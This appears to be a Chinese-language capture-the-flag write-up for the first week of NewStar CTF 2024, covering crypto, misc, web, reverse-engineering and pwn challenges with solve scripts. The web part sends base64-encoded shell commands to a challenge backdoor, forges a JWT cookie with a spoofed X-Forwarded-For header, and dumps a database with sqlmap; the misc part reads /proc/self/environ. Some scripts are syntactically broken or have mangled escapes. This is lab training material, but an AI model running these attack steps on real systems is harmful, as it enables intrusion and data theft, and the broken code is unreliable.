这次比赛也是比较简单的,简单到我这么一个唐豆都能AK掉,虽然中间也有几个卡住的地方,好似出题人把我当成赛博星怒殴打,但最后还是4天打通
比赛地址:NewStar CTF 2024 (openctf.net)
Crypto
1.Base
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
直接base16-32-64秒了
flag{B@sE_0f_CrYpt0_N0W}
2.一眼秒了
首先这是个 rsa 加密,那么解密步骤如下
1. 因子分解
2. 计算 φ(n)
3. 计算 d^d
4. 解密消息
5. 转换为字符串
exp:
from sympy import factorint
from gmpy2 import mpz, invert, powmod
from Crypto.Util.number import long_to_bytes
n =
mpz("5214701729826035718032910177686409513480684802066355806414164820036607
933196213241196791769787787527710304575597200608407855945377729140308757506
138267487257333643187650012824713386195773015441846168050640368018975539975
288255843839310715181579429527235895530091475252337741719250470279845078743
0403387076153")
c =
mpz("4875737336322598171707613081652938047056396865036717549961226807351799
063684979803866228344035047081289842429990437183106854139424743242375187945
762460619433419613044447887853309285434261028852223640955428695409186063838
804303760137180737926958847481429038223991035869748511059181206048878655246
3208464541069")
e = 65537
factors = factorint(int(n))
p, q = factors.keys()
p = mpz(p)
q = mpz(q)
phi_n = (p - 1) * (q - 1)
d = invert(e, phi_n)
m = powmod(c, d, n)
flag = long_to_bytes(int(m))
print(flag.decode())
#flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}
3.xor
其中,密文为 c1,c2,密钥为 key,c1 是将 flag 的前 13 字符转换为长整型并与密钥 xor 得到的,c2 是 pwn 中 xor()函数来加密的,用相同的方法解开即可 getflag
from Crypto.Util.number import bytes_to_long, long_to_bytes
from pwn import xor
key = b'New_Star_CTF'
c1 = 8091799978721254458294926060841
c2 = b';:x1c1<x03>*x10x11u;'
# 解密 c1
m1 = long_to_bytes(c1 ^ bytes_to_long(key))
# 解密 c2
m2 = xor(key, c2)
flag = m1.decode('utf-8') + m2.decode('utf-8')
print(flag)
#flag{0ops!_you_know_XOR!}
4. StrangeKing
前四位肯定是 flag,毋庸置疑。然后就找规律,ksjr 到 flag 分别位移 5,7,9,11 盲猜是恺撒密码 解密脚本如下
def decrypt_caesar_cipher(ciphertext):
offsets = [5 + 2 * i for i in range(len(ciphertext))]
plaintext = ""
for i, char in enumerate(ciphertext):
if char.isalpha():
base = ord('A') if char.isupper() else ord('a')
new_char = chr((ord(char) - base - offsets[i] + 26) % 26 + base)
plaintext += new_char
else:
plaintext += char
return plaintext
ciphertext = "ksjr{EcxvpdErSvcDgdgEzxqjql}"
plaintext = decrypt_caesar_cipher(ciphertext)
print(plaintext)
#flag{PleaseDoNotStopLearing}
Misc
1.decompress
根据正则^([a-z]){3}d[a-z]$,得出这是一个数字+字母的 5 位组合,直接爆破压缩 包,最后密码是 xtr4m,然后直接 winrar 一起解密,最后出来的就是 flag flag{U_R_th3_ma5ter_0f_dec0mpress}
2.pleasingMusic
打开以后直接拖到后面听摩斯密码,最后全都换成小写再套个 flag{}
flag{ez_morse_code}
3.WhereIsFlag
连上ssh以后cat /proc/self/environ
4.Labyrinth
提示给了,是个LSB加密,直接stegsolve秒了
flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}
5.兑换码
用hex编辑器将长款修改一致即可
Web
1.headach3
2.会赢吗
第一部分直接f12看元素注释
盲猜类名是4cqu1siti0n
还真猜对了
下一关,f12看js
一眼就是修改DOM元素,触发事件
这里要绕过弹窗警告
fetch("/api/flag/Ap3x",
{
method: 'POST',
headers: {
'Content-Type':
'application/x-www-form-urlencoded',
},
body:
'csrf_token=hfaousghashgfasbasiouwrda1_'
}).then(response
=> response.text()).then(data => console.log(data));
最后把这一堆字符串加一起并base64解码
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
3.智械危机
根据题目提示,直接看/robots.txt
然后是个/backd0or.php
这里key反转后的md5 hash等于解码后的密钥即可
Exp:
import base64
import hashlib
import requests
def
base64_encode_string(s):
return
base64.b64encode(s.encode()).decode()
def
reverse_string(s):
return s[::-1]
def
md5_hash_string(s):
return hashlib.md5(s.encode()).hexdigest()
def
construct_cmd_and_key(cmd):
cmd_base64 = base64_encode_string(cmd)
reversed_cmd_base64 =
reverse_string(cmd_base64)
key =
base64_encode_string(md5_hash_string(reversed_cmd_base64))
return cmd_base64, key
def
send_post_request(cmd, key, url):
payload = {'cmd': cmd, 'key': key}
response = requests.post(url, data=payload)
return response.text
command =
"cat ../../../flag"
cmd_base64,
key_base64 = construct_cmd_and_key(command)
url =
"url"
response =
send_post_request(cmd_base64, key_base64, url)
print(response)
4.Pangbai过家家
然后就让传zip了,这里用脚本即可
import requests
url =
"http://url/?ask=hello"
headers = {
"Host": "",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language":
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cookie":
"token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.H9tHdIUKdnpuotdgpRw4F08nyTIW1kf9f_FTQNS-Dyg",
"Origin": "http://localhost",
"Priority": "u=0, i",
"Referer": "http://localhost",
"User-Agent": "Papa/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36"
}
file_path = '114514.zip'
data = {
'say': '玛卡巴卡阿卡哇卡米卡玛卡呣'
}
files = {
'file': (file_path, open(file_path, 'rb'), 'application/zip')
}
response =
requests.request("PATCH", url, headers=headers, data=data,
files=files)
files['file'][1].close()
print(response.text)
然后在脚本里面加X-Forwarded-For: localhost,再发包,就得到了jwt的key,直接把level:0加密,即可getflag
5.谢谢皮蛋
进去直接抓输入框的包,然后直接sqlmap一把梭
payload:sqlmap.py -r 1.txt --tamper base64encode.py --thread 10 --batch –dbs,最后dump下来flag
然后位置在ctf/Fl4g
reverse
1.begin
首先直接shift+f12看到flag2
然后ctrl+f搜flag
至于flag1,直接对着flagpart1按a即可
2.base64
ida打开这个exe一看就看到了两个字符串
一眼就是变表逆向
import base64
s1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s2 = 'WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/'
s3 = 'g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj'
s4 = ''
for i in s3:
if(i != '='):
idx = s2.index(i)
s4 += s1[idx]
else:
s4 += i
print(s4)
print(base64.b64decode(s4))
# flag{y0u_kn0w_base64_well}
3.ezAndroidStudy
把附件给的apk下载下来直接就能给提示了
part1
part2
part3
part4
关于part5,你要用apktool导出它的源码,然后ida看/lib/的so文件:
4.Simple_encryption
ida看main函数的伪代码
跟进buffer
解密buffer脚本:
buffer = [
0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88,
0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A,
0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28, 0x00, 0x00
]
original_input = ""
for j, b in enumerate(buffer):
if j % 3 == 0:
original_input += chr((b + 31) % 256)
elif j % 3 == 1:
result = (b - 41) % 256
original_input += chr(result)
else:
original_input += chr(b ^ 0x55)
print(original_input)
#flag{IT_15_R3Al1y_V3Ry-51Mp1e}
5.ezdebug
用x64dbg打开:
在wrong这里打个断点,然后开始调试
到这里,直接右键搜flag
PWN
1.real login
看main函数中的func
密码是NewStar!!!,直接nc连上去输入即可
2.game
看这个代码能直接得出:5秒内输入的数字之和大于999且单次输入的数字不能大于10,那就可以输入112个9
(此处原谅笔者写的屎山)
from pwn import *
r = remote('xxx', xxx)
context.log_level = 'debug'
initial_output = b""
while b"Let's play a game!" not in initial_output:
data = r.recv()
print(data.decode())
initial_output += data
print(initial_output.decode())
for _ in range(112):
r.sendline(b'9')
r.sendline(b'9')
r.sendline(b'cat /flag') #/flag是盲猜的位置
output = b""
while True:
try:
data = r.recv(timeout=1)
if not data:
break
output += data
print({data.decode())
except EOFError:
break
print(output.decode())
r.close()
3.overwrite
看代码,scanf读取int以控制len(read),然后对比nptr大小来判断执行,但在这里面做了一个限制,我们并不能控制大小,要用栈溢出覆盖,这是本题的第一处栈溢出漏洞。
通过计算,我们要写48byte的数据来覆盖nptr,然后看soldword这个int,这可以用大于int32的最大值绕过此限制,这是第二处
利用过程就是:输入一个大数字,然后输入长字符串来覆盖nbytes,且要大于48,然后输入大于114514的数字
4.gdb
这题是动态调试
在这打个断点,然后你可以选用linux的gdb进行本地调试或ida远程调试,这里的目的是获取key
跟进edi函数,在注释里面找到key ]x1dCUSEWE
由此写exp
from pwn import *
remote_addr = ('xxx', xx)
io = remote(*remote_addr)
io.recvuntil(b'Input your encrypted data: ')
encrypted_data = b']x1dCUSEWE'
io.sendline(encrypted_data)
flag = io.recvuntil(b'n', drop=True)
print(flag.decode('utf-8')
io.close()
总结:出题人,我真的好喜欢你啊,为了你我要唱《一等情事》🤣👍
原文始发于微信公众号(黄豆安全实验室):NewStarCTF2024第一周WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论